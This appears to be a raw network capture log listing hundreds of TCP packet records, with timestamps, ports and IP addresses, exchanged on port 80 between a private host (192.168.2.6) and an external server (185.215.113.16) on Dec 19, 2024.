Dec 19, 2024 08:46:28.193830967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.193917036 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.193968058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.228472948 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.258362055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.258373976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.258393049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.258404970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.258415937 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.258481979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.259154081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.259166956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.259226084 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.259804964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.259818077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.259859085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.260581017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.260593891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.260648966 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.261308908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.261331081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.261413097 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.262082100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.262095928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.262105942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.262144089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.262898922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.262912989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.263030052 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.263681889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.263695955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.263751030 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.264388084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.264406919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.264470100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.265312910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.265330076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.265341997 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.265363932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.265399933 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.265908003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.266134977 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.266230106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.266364098 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.266669035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.266741037 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.266779900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.267134905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.267191887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.267656088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.274555922 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.281025887 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.281117916 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.281198978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.281271935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.281316996 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.281653881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.282289028 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.282346964 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.282495022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.283274889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.283337116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.283452034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.284199953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.284254074 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.284413099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.355201006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.375754118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.375933886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.376019955 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.376198053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.376344919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.376388073 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.376646042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.376924038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.376982927 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.377146959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.377913952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.377995968 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.378094912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.378206015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.378865957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.378910065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.379053116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.379870892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.379914999 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.380057096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.380851984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.380894899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.381190062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.381834030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.381892920 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.382030964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.382822990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.382884026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.383022070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.385983944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386040926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.386612892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386631012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386642933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386653900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386672974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.386682034 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.386713028 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.387248993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.387331963 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.390224934 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.392287970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392453909 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392465115 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392477036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392489910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392493963 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.392499924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.392527103 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.392570019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.405821085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.406002045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.406052113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.406305075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.406668901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.406735897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.407280922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.407475948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.407535076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.408219099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.408409119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.408467054 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.411581039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.428689957 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.501610994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.502352953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.502405882 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.504183054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.504194021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.504282951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.505769014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.506525993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.506588936 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.507266045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.507277966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.507338047 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.508073092 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.508079052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.508168936 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.508862972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.508874893 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.508961916 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.509629011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.509664059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.509705067 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.510407925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.510421038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.510432005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.510498047 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.511193991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.511271000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.512756109 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.512768030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.512800932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.513484001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.513500929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.513597012 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.514238119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.514251947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.514261007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.514332056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.515171051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.515232086 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.515636921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.515834093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.515842915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.515927076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.516257048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.516300917 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.516699076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.530450106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.530520916 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.530616999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.530978918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.531027079 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.531569004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.531958103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.531969070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.532011032 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.532892942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.532946110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.533184052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.533879995 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.533965111 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.638117075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.638871908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.638885021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.638894081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.638936996 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.638973951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.641969919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.642724991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.642775059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.643501043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.644305944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.644321918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.644367933 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.645052910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.645072937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.645119905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.645798922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.645818949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.645831108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.645854950 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.645889997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.646604061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.646620989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.646702051 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.647340059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.647378922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.647531033 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.648169041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.648173094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.648235083 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.648931026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.648943901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.649002075 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.649665117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.649682999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.649693966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.649739027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.650506973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.650520086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.650600910 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.651248932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.651261091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.651272058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.651326895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.651360989 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.655376911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.655653954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.655704021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.655898094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.655910969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.655956030 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.656850100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.657269001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.657319069 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.657835007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.658014059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.658102989 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.658827066 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.659581900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.659634113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.750396967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.750561953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.750663996 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.750936985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.751250029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.751300097 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.751533031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.751740932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.751807928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.752650023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.752859116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.752939939 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.753525019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.753717899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.753779888 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.754473925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.754659891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.754707098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.755508900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.755789042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.755836964 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.756443977 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.756706953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.756781101 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.757421970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.757622004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.757694006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.758399010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.758742094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.758838892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.759387016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.759777069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.759833097 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.760363102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.760546923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.760607004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.766940117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.767118931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.767194986 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.767461061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.767808914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.767891884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.768450022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.780150890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.780195951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.780380011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.780390978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.780436993 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.780706882 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.781383991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.781435966 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.781580925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.782386065 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.782397985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.782442093 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.783354044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.783428907 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.783795118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.784354925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.784466982 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.784964085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.832865000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.874999046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.875165939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.875226021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.875526905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.875878096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.875924110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.876450062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.876748085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.877011061 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.877424002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.877734900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.877842903 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.878108025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.878741026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.878803015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.879062891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.879708052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.879854918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.879893064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.880773067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.881118059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.881153107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.881692886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.881831884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.881867886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.882641077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.882738113 CET	49764	80	192.168.2.6	185.215.113.16
